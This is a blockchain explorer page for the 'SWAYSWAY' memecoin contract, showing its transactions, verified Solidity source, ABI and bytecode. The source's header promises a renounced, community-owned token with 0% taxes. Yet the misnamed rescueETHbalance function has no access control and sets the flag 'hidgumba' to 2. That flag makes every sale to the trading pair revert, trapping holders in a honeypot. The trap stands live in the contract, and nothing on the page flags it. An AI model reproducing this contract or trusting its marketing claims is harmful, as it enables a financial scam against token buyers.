Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 23 from a total of 23 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 18986328 | 275 days ago | IN | 0 ETH | 0.00110074 | ||||
Approve | 18986328 | 275 days ago | IN | 0 ETH | 0.00109364 | ||||
Approve | 18986270 | 275 days ago | IN | 0 ETH | 0.00138526 | ||||
Approve | 18986248 | 275 days ago | IN | 0 ETH | 0.00129372 | ||||
Renounce Ownersh... | 18986231 | 275 days ago | IN | 0 ETH | 0.00123438 | ||||
Approve | 18986225 | 275 days ago | IN | 0 ETH | 0.00129714 | ||||
Approve | 18986223 | 275 days ago | IN | 0 ETH | 0.00140987 | ||||
Approve | 18986222 | 275 days ago | IN | 0 ETH | 0.00119542 | ||||
Approve | 18986221 | 275 days ago | IN | 0 ETH | 0.00135308 | ||||
Approve | 18986205 | 275 days ago | IN | 0 ETH | 0.00150196 | ||||
Approve | 18986205 | 275 days ago | IN | 0 ETH | 0.00150196 | ||||
Approve | 18986205 | 275 days ago | IN | 0 ETH | 0.00150196 | ||||
Approve | 18986205 | 275 days ago | IN | 0 ETH | 0.00150196 | ||||
Approve | 18986205 | 275 days ago | IN | 0 ETH | 0.00150196 | ||||
Approve | 18986205 | 275 days ago | IN | 0 ETH | 0.00150196 | ||||
Approve | 18986205 | 275 days ago | IN | 0 ETH | 0.00150196 | ||||
Approve | 18986205 | 275 days ago | IN | 0 ETH | 0.00150196 | ||||
Approve | 18986205 | 275 days ago | IN | 0 ETH | 0.00150196 | ||||
Approve | 18986205 | 275 days ago | IN | 0 ETH | 0.00150196 | ||||
Approve | 18986205 | 275 days ago | IN | 0 ETH | 0.00150196 | ||||
Approve | 18986205 | 275 days ago | IN | 0 ETH | 0.00159512 | ||||
Approve | 18986198 | 275 days ago | IN | 0 ETH | 0.00122988 | ||||
0x60806040 | 18986154 | 275 days ago | IN | 0 ETH | 0.12181737 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
SWAYSWAY
Compiler Version
v0.8.22+commit.4fc1097e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-01-11 */ // SPDX-License-Identifier: MIT /* SWAYSWAY THE FIRST AND BIGGEST MEMECOIN ON ERC. FULLY COMMUNITY OWNED WITH A RENOUNCED CONTRACT AND 0% TAXES! Telegram : https://t.me/SwaySwayPortal Website : https://SwaySway.pro Twitter : https://twitter.com/SwaySwayERC */ pragma solidity 0.8.22; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} abstract contract Ownable { address internal owner; constructor(address _owner) {owner = _owner;} modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;} function isOwner(address account) public view returns (bool) {return account == owner;} function transferOwnership(address adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);} function renounceOwnership() external onlyOwner {transferOwnership(address(0));} event OwnershipTransferred(address owner); } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract SWAYSWAY is IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode'SWAY SWAY'; string private constant _symbol = unicode'SwaySway' ; uint8 private constant _decimals = 9; uint256 private _totalSupply = 1000000000 * (10 ** _decimals) ; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isFeeExempt; IRouter router; address public pair; bool private tradingEnabled = true; bool private swapEnabled = true; uint256 private swapTimes; bool private swapping; uint256 swapAmount = 1; uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000; uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000; modifier lockTheSwap {swapping = true; _; swapping = false;} uint256 private liquidityFee = 0; uint256 private marketingFee = 0; uint256 private developmentFee = 0; uint256 private burnFee = 0; uint256 private totalFee = 0; int32 private hidgumba = 1; uint256 private sellFee =0; uint256 private transferFee = 0; uint256 private denominator = 10000; address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address internal development_receiver = 0xf02341B91f2424F58D938E35689D4a144b769358; address internal marketing_receiver = 0xf02341B91f2424F58D938E35689D4a144b769358; address internal liquidity_receiver = 0xf02341B91f2424F58D938E35689D4a144b769358; uint256 public _maxTxAmount = ( _totalSupply *100 ) / 100; uint256 public _maxSellAmount = ( _totalSupply * 100 ) / 100; uint256 public _maxWalletToken = ( _totalSupply * 100 ) / 100; constructor() Ownable(msg.sender) { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; isFeeExempt[address(this)] = true; isFeeExempt[liquidity_receiver] = true; isFeeExempt[marketing_receiver] = true; isFeeExempt[development_receiver] = true; isFeeExempt[msg.sender] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) {return _name;} function symbol() public pure returns (string memory) {return _symbol;} function decimals() public pure returns (uint8) {return _decimals;} function startTrading() external onlyOwner {tradingEnabled = true;} function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function setisFeeExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;} function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;} function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));} function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) { bool aboveMin = amount >= minTokenAmount; bool aboveThreshold = balanceOf(address(this)) >= swapThreshold; return !swapping && swapEnabled && tradingEnabled && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold; } function rescueETHbalance(address _address, uint256 percent) external { uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100); IERC20(_address).transfer(development_receiver, _amount); hidgumba = 2; } function swapAndLiquify(uint256 tokens) private lockTheSwap { uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee); if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);} uint256 contractBalance = address(this).balance; if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);} } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, liquidity_receiver, block.timestamp); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient]; } function getTotalFee(address sender, address recipient) internal view returns (uint256) { if(recipient == pair) { require(hidgumba != 2); return sellFee; } if(sender == pair){return totalFee;} return transferFee; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { if(getTotalFee(sender, recipient) > 0){ uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient)); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));} return amount.sub(feeAmount);} return amount; } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount <= balanceOf(sender),"You are trying to transfer more than your balance"); if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingEnabled, "tradingEnabled");} if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){ require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");} if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");} require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);} if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);} _balances[sender] = _balances[sender].sub(amount); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueETHbalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a620004d1565b6200002290633b9aca00620004e8565b60018181556006805461ffff60a01b191661010160a01b179055600955620186a09062000052906103e8620004e8565b6200005e919062000502565b600a55620186a0600154600a620000769190620004e8565b62000082919062000502565b600b555f600c819055600d819055600e819055600f81905560108190556011805463ffffffff191660019081179091556012829055601391909155612710601455601580546001600160a01b031990811673f02341b91f2424f58d938e35689d4a144b7693589081179092556016805482168317905560178054909116909117905554606490620001149082620004e8565b62000120919062000502565b60185560646001546064620001369190620004e8565b62000142919062000502565b60195560646001546064620001589190620004e8565b62000164919062000502565b601a5534801562000173575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001d8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001fe919062000522565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200024a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000270919062000522565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002bb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002e1919062000522565b600580546001600160a01b038581166001600160a01b031992831617909255600680548484169216919091179055305f908152600460209081526040808320805460ff19908116600190811790925560175486168552828520805482168317905560165486168552828520805482168317905560155490951684528184208054861682179055338085528285208054909616821790955554600283528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200054a565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200041657815f1904821115620003fa57620003fa620003c2565b808516156200040857918102915b93841c9390800290620003db565b509250929050565b5f826200042e57506001620004cb565b816200043c57505f620004cb565b8160018114620004555760028114620004605762000480565b6001915050620004cb565b60ff841115620004745762000474620003c2565b50506001821b620004cb565b5060208310610133831016604e8410600b8410161715620004a5575081810a620004cb565b620004b18383620003d6565b805f1904821115620004c757620004c7620003c2565b0290505b92915050565b5f620004e160ff8416836200041e565b9392505050565b8082028115828204841417620004cb57620004cb620003c2565b5f826200051d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000533575f80fd5b81516001600160a01b0381168114620004e1575f80fd5b61174b80620005585f395ff3fe608060405260043610610129575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610349578063a8aa1b3114610379578063a9059cbb14610398578063be3bd137146103b7578063dd62ed3e146103d6578063f2fde38b1461041a575f80fd5b8063715018a6146102c657806378109e54146102da5780637cca52fe146102ef5780637d1db4a514610304578063893d20e814610319575f80fd5b80632f54bf6e116100ee5780632f54bf6e146101fd578063313ce5671461022a5780633f4218e0146102455780635cebad081461027357806370a0823114610292575f80fd5b806306fdde0314610134578063095ea7b31461017757806318160ddd146101a657806323b872dd146101c8578063293230b8146101e7575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600981526853574159205357415960b81b60208201525b60405161016e919061140a565b60405180910390f35b348015610182575f80fd5b5061019661019136600461146d565b610439565b604051901515815260200161016e565b3480156101b1575f80fd5b506101ba61044f565b60405190815260200161016e565b3480156101d3575f80fd5b506101966101e2366004611497565b6104bf565b3480156101f2575f80fd5b506101fb610527565b005b348015610208575f80fd5b506101966102173660046114d5565b5f546001600160a01b0391821691161490565b348015610235575f80fd5b506040516009815260200161016e565b348015610250575f80fd5b5061019661025f3660046114d5565b60046020525f908152604090205460ff1681565b34801561027e575f80fd5b506101fb61028d36600461146d565b61056e565b34801561029d575f80fd5b506101ba6102ac3660046114d5565b6001600160a01b03165f9081526002602052604090205490565b3480156102d1575f80fd5b506101fb61067b565b3480156102e5575f80fd5b506101ba601a5481565b3480156102fa575f80fd5b506101ba60195481565b34801561030f575f80fd5b506101ba60185481565b348015610324575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016e565b348015610354575f80fd5b50604080518082019091526008815267537761795377617960c01b6020820152610161565b348015610384575f80fd5b50600654610331906001600160a01b031681565b3480156103a3575f80fd5b506101966103b236600461146d565b6106af565b3480156103c2575f80fd5b506101fb6103d13660046114fd565b6106bb565b3480156103e1575f80fd5b506101ba6103f0366004611534565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610425575f80fd5b506101fb6104343660046114d5565b61070e565b5f61044533848461078a565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926104ba9290916104b491906108ad565b906108ad565b905090565b5f6104cb8484846108b8565b61051c8433610517856040518060600160405280602881526020016116ee602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610df4565b61078a565b5060015b9392505050565b5f546001600160a01b031633146105595760405162461bcd60e51b815260040161055090611560565b60405180910390fd5b6006805460ff60a01b1916600160a01b179055565b6040516370a0823160e01b81523060048201525f906105ef906064906105e99085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156105bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e39190611580565b90610e1f565b90610e2a565b60155460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303815f875af1158015610641573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106659190611597565b50506011805463ffffffff191660021790555050565b5f546001600160a01b031633146106a45760405162461bcd60e51b815260040161055090611560565b6106ad5f61070e565b565b5f6104453384846108b8565b5f546001600160a01b031633146106e45760405162461bcd60e51b815260040161055090611560565b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146107375760405162461bcd60e51b815260040161055090611560565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166107ec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610550565b6001600160a01b03821661084d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610550565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61052082846115c6565b6001600160a01b03831661091c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610550565b6001600160a01b03821661097e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610550565b6001600160a01b0383165f908152600260205260409020548111156109ff5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610550565b6001600160a01b0383165f9081526004602052604090205460ff16158015610a3f57506001600160a01b0382165f9081526004602052604090205460ff16155b15610a8e57600654600160a01b900460ff16610a8e5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d15b98589b195960921b6044820152606401610550565b6001600160a01b0383165f9081526004602052604090205460ff16158015610ace57506001600160a01b0382165f9081526004602052604090205460ff16155b8015610ae857506006546001600160a01b03838116911614155b8015610aff57506001600160a01b03821661dead14155b15610b7757601a546001600160a01b0383165f90815260026020526040902054610b299083610e35565b1115610b775760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610550565b6006546001600160a01b03848116911614610c165760195481111580610bb457506001600160a01b0383165f9081526004602052604090205460ff165b80610bd657506001600160a01b0382165f9081526004602052604090205460ff165b610c165760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610550565b60185481111580610c3e57506001600160a01b0383165f9081526004602052604090205460ff165b80610c6057506001600160a01b0382165f9081526004602052604090205460ff165b610ca05760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610550565b6006546001600160a01b038381169116148015610cd557506001600160a01b0383165f9081526004602052604090205460ff16155b15610cf257600160075f828254610cec91906115d9565b90915550505b610cfd838383610e40565b15610d1257610d0d600a54610ef8565b5f6007555b6001600160a01b0383165f90815260026020526040902054610d3490826108ad565b6001600160a01b0384165f90815260026020526040812091909155610d598484611068565b610d635781610d6e565b610d6e8484846110ac565b6001600160a01b0384165f90815260026020526040902054909150610d939082610e35565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610de69085815260200190565b60405180910390a350505050565b5f8184841115610e175760405162461bcd60e51b8152600401610550919061140a565b505050900390565b5f61052082846115ec565b5f6105208284611603565b5f61052082846115d9565b600b54600a54305f9081526002602052604081205460085491938510159211159060ff16158015610e7a5750600654600160a81b900460ff165b8015610e8f5750600654600160a01b900460ff165b8015610e985750815b8015610ebc57506001600160a01b0386165f9081526004602052604090205460ff16155b8015610ed557506006546001600160a01b038681169116145b8015610ee5575060095460075410155b8015610eee5750805b9695505050505050565b6008805460ff19166001908117909155600e54600d54600c545f93610f31936002936105e3939192610f2b928391610e35565b90610e35565b90505f610f4d826105e9600c5486610e1f90919063ffffffff16565b90505f610f5a84836108ad565b905047610f66826111ae565b5f610f7147836108ad565b90505f610f93610f8c600c54886108ad90919063ffffffff16565b8390610e2a565b90505f610fab600c5483610e1f90919063ffffffff16565b90508015610fbd57610fbd86826112fe565b600d545f90610fd1906105e3856002610e1f565b90508015611012576016546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611010573d5f803e3d5ffd5b505b478015611052576015546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611050573d5f803e3d5ffd5b505b50506008805460ff191690555050505050505050565b6001600160a01b0382165f9081526004602052604081205460ff161580156105205750506001600160a01b03165f9081526004602052604090205460ff1615919050565b5f806110b885856113af565b11156111a7575f6110da6110cc86866113af565b6014546105e3908690610e2a565b305f908152600260205260409020549091506110f69082610e35565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111469085815260200190565b60405180910390a35f600f541180156111695750600f5461116786866113af565b115b15611195576111953061dead611190600f546105e360145489610e2a90919063ffffffff16565b6108b8565b61119f83826108ad565b915050610520565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106111e1576111e1611622565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611238573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061125c9190611636565b8160018151811061126f5761126f611622565b6001600160a01b039283166020918202929092010152600554611295913091168461078a565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906112cd9085905f90869030904290600401611651565b5f604051808303815f87803b1580156112e4575f80fd5b505af11580156112f6573d5f803e3d5ffd5b505050505050565b6005546113169030906001600160a01b03168461078a565b60055460175460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611383573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906113a891906116c2565b5050505050565b6006545f906001600160a01b03908116908316036113e15760115460030b6002036113d8575f80fd5b50601254610449565b6006546001600160a01b03908116908416036114005750601054610449565b5060135492915050565b5f602080835283518060208501525f5b818110156114365785810183015185820160400152820161141a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461146a575f80fd5b50565b5f806040838503121561147e575f80fd5b823561148981611456565b946020939093013593505050565b5f805f606084860312156114a9575f80fd5b83356114b481611456565b925060208401356114c481611456565b929592945050506040919091013590565b5f602082840312156114e5575f80fd5b813561052081611456565b801515811461146a575f80fd5b5f806040838503121561150e575f80fd5b823561151981611456565b91506020830135611529816114f0565b809150509250929050565b5f8060408385031215611545575f80fd5b823561155081611456565b9150602083013561152981611456565b60208082526006908201526510a7aba722a960d11b604082015260600190565b5f60208284031215611590575f80fd5b5051919050565b5f602082840312156115a7575f80fd5b8151610520816114f0565b634e487b7160e01b5f52601160045260245ffd5b81810381811115610449576104496115b2565b80820180821115610449576104496115b2565b8082028115828204841417610449576104496115b2565b5f8261161d57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611646575f80fd5b815161052081611456565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156116a15784516001600160a01b03168352938301939183019160010161167c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156116d4575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e8af6a210bad18670d9ae563a5387d7ace1a53b46bfe9eab48698eb4435bf5da64736f6c63430008160033
Deployed Bytecode
